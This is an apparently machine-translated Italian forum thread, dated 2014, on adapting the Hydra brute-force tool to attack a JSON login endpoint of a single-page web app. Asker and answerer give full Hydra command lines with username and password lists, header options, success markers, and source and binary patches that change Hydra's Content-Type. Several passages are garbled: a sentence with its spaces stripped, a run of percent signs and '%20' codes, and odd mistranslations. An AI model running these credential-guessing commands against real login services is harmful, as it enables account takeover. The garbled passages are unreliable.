Hydra bruteforce e JSON

4

Ho problemi con Hydra e un carico utile JSON.

La richiesta di accesso (intercettata da Fiddler) è la seguente:

POST http://architectureservice.test.com/api/v1/login HTTP/1.1
Host: architectureservice.test.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Referer: http://architectureclient.test.com/
Content-Length: 51
Origin: http://architectureclient.test.com
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

{"username":"tester","password":"test"}

La risposta, in caso di password errata, è effettivamente vuota a causa del fatto che si tratta di un'applicazione singola pagina. Il server restituirà invece un codice di errore 404 (non trovato) o 405. Nel caso in cui le credenziali siano corrette, procederà con un ritorno di 200 pagine.

Come puoi vedere, la richiesta passa da un cliente a un servizio. In realtà non esiste alcun modulo sul servizio, esso contiene i parametri compilati sul client (questo è tutto sul mio computer locale, adattato al file HOSTS). Quando le credenziali sono corrette, verrà creato un cookie (questo è il primo cookie, non ci sono cookie di sessione o sth prima di accedere).

Ora le credenziali vengono passate in formato JSON. Il comando My Hydra ha il seguente aspetto:

hydra -L "users.txt" -P "passwords.txt" -s 80 architectureservice.test.com http-post-form "/api/v1/login:{'username'\:'^USER^','password'\:'^PASS^'}:NOT FOUND"

Tuttavia, ciò conferma che tutte le password sono valide. È possibile utilizzare Hydra con il formato JSON e un'applicazione Single page?

Aggiorna Grazie alla risposta di Iserni, sono stato in grado di costruire il seguente comando:

hydra -v -V -L "users.txt" -P "passwords.txt" -s 80 architectureservice.test.com http-post-form "/api/v1/login:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:changeFirstName:H=Accept: application/json, text/plain, */*:H=Accept-Language: en-US,en;q=0.5:H=Accept-Encoding: gzip, deflate:H=Referer: http\://architectureclient.test.com/:H=Origin: http\://architectureclient.test.com:H=Connection: keep-alive"

NOTA: notare che non è necessario sfuggire ai due punti nei valori dell'intestazione. In realtà, questo interrompe il comando, quindi non devi sfuggire ai due punti qui

Ho intercettato questa richiesta con Wireshark, e sembra esattamente la stessa di quella fatta da Firefox, ad eccezione del carico utile JSON. Hydra crea un corpo "x-www-form-urlencoded". Se provo a codificarlo in questo modo usando una richiesta di Firefox (intercettata da Fiddler), ottengo un errore "non trovato". Quindi, in effetti, devo essere in grado di creare un tipo di contenuto JSON. È possibile con Hydra?

Per chiarire le cose, ecco uno screenshot della cattura di Wireshark: TuttoèesattamentelostessodiquandovienecreataunarichiestadaFirefox,fattaeccezioneperl'intestazioneContent-Typeequindiancheilcaricoutiledelcorpo(daFirefoxèJSON).

AGGIORNAMENTO:SOLUZIONE

hydra-v-V-L"users.txt" -P "passwords.txt" -s 80 architectureservice.tester.com http-post-form "/api/v1/login:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:S=firstName:H=Accept: application/json, text/plain, */*:H=Accept-Language: en-US,en;q=0.5:H=Accept-Encoding: gzip, deflate:H=Referer: http\://architectureclient.tester.com/:H=Origin: http\://architectureclient.tester.com:H=Connection: keep-alive"

S=: I used this because in case of a failure, we get an empty response. The S= can be used to tell Hydra what comes back in case of a valid response. (We send back the firstName in case of a success)
H=: I noticed that Hydra understands that in a header, there will always be a colon. So you do not need to escape colons in headers. In other places, you do.

Il comando sopra funziona, nel caso in cui si adatta la fonte di Hydra come segue (per Hydra 7.6): Intorno alla riga 327 di hydra-http-form.c:

  if (strcmp(type, "POST") == 0) {
    sprintf(buffer,
            "POST %.600s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Hydra)\r\nContent-Type: application/json\r\nContent-Length: %d\r\n%s%s\r\n%s",
            url, webtarget, (int) strlen(upd3variables), header, cuserheader, upd3variables);
    if (hydra_send(s, buffer, strlen(buffer), 0) < 0) {
      return 1;

Come puoi vedere, ho preso la soluzione più brutta possibile (cambia il valore dell'intestazione hardcoded da "x-www-form-urlencoded" a "json". Iserni (vedi la risposta sotto) suggeriva un approccio migliore, ma ho ottenuto qualche sintassi errori e ha deciso di codificare semplicemente il valore json. Inoltre, Content-Type è codificato in più punti nel file hydra-http-form.c, per favore cambia se necessario per la tua situazione.

Ora puoi usare Hydra per le app web di bruteforce json.

    
posta Michael 13.05.2014 - 11:12
fonte

1 risposta

3

A condizione che il JSON sia a posto (vedi in fondo), il problema è probabile che le intestazioni ora inviate da Hydra non siano le stesse del modulo di login AJAX.

Le principali fonti di problemi di intestazione (a parte User-Agent, ovviamente) sono di solito

  • l'intestazione Content-Type
  • l'intestazione Accept
  • l'intestazione Origin
  • l'intestazione X-Requested-With
  • Referenze e controlli CSRF.
  • Cookie,

Molti framework, sia come aiuto per il debug che come "sicurezza", controlleranno le contromisure dell'intestazione XRW e / o CSRF, e diversi router offriranno un reindirizzamento ( o una HTTP/1.1 200 OK pagina ) se il il tipo di contenuto e i parametri di accettazione non sono adatti per essere una richiesta JSON, che dovrebbe essere il tuo login,

I cookie non sembrano essere il tuo problema.

Prima di tutto è necessario controllare tutte le intestazioni necessarie, cosa che si può fare usando cURL e controllando un singolo login (sempre lo stesso).

(Un altro controllo importante da eseguire è quello di intercettare la risposta del framework ad una singola richiesta di Hydra. Supponiamo che l'errore di 200 pagine di Hydra come login corretto indichi invece "Errore così e così nell'input ...").

Una volta che le intestazioni pertinenti e i loro valori sono stati trovati, devi includerli nella sequenza di Hydra. Errori di battitura permettendo, qualcosa come

"/api/v1/login:{\"username\"\:\"^USER^\",\"password\"\:\"^PASS^\"}:NOT FOUND:H=Origin\: http\://architectureclient.test.com:H=Accept\: application/json, text/plain, */*:H=Content-Type\: application/json;charset=utf-8"

Si noti che la sequenza utilizzata non sembra avere lo stesso sapore JSON della richiesta HTTP ; si usano virgolette semplici , ma alcuni decodificatori (in particolare% s %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%%%%% Il json_decode() intercetta la tua citazione, invece, usa le virgolette doppie .

<?php
    $json=<<<JSON
{'user':'joe'}
JSON;
    // Does not work (PHP 5.6.x)
    print_r(json_decode($json, true));
?>

UPDATE su Content-Type

Ho dato un assegno al codice sorgente di Hydra. Apparentemente, Content-Type è hard-coded quando il metodo è POST . (Codice Hydra 8.0, file POST ):

  if (strcmp(type, "POST") == 0) {
    sprintf(buffer,
            "POST %.600s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Hydra)\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: %d\r\n%s%s\r\n%s",
            url, webtarget, (int) strlen(upd3variables), header, cuserheader, upd3variables);
    if (hydra_send(s, buffer, strlen(buffer), 0) < 0) {
      return 1;
    }
  } else {
    ...

Soluzioni. Hmmm. Un vero brutto e dirty hack:

sed -e 's/Content-Type: application\/x-www-form-urlencoded/X-Would-Type: application\/x-www-form-urlencoded/' < hydra > hydra2

... questo produrrà un nuovo binario che non invierà un'intestazione hydra-http-form.c ma un Content-Type uno. Le due stringhe essendo di uguale lunghezza e binari non firmati o MD5, dovrebbe funzionare. Ora puoi aggiungere un'intestazione X-Would-Type di tua scelta, che dovrebbe passare.

Tuttavia non sono completamente sicuro su come inviare intestazioni multiple con Hydra. I comandi sembrano separati da due punti e poiché le intestazioni anche contengono due punti ...

Una soluzione migliore

Modifica il codice in modo che legga (vicino alla riga 298 della mia fonte):

  if (strcmp(type, "POST") == 0) {
    sprintf(buffer,
            "POST http://%s:%d%.600s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0 (Hydra)\r\n%sContent-Length: %d\r\n%s%s\r\n%s",
            webtarget, webport, url, webtarget,

    ((NULL == strstr("Content-Type", cuserheader))
     ? "Content-Type: application/x-www-form-urlencoded\r\n"
     : "")

    (int) strlen(upd3variables), header, cuserheader, upd3variables);
    if (hydra_send(s, buffer, strlen(buffer), 0) < 0) {
      return 1;
    }
  } else {

... in modo che if tu fornisca un Content-Type del tuo, non aggiungi uno stesso.

    
risposta data 13.05.2014 - 14:43
fonte

Leggi altre domande sui tag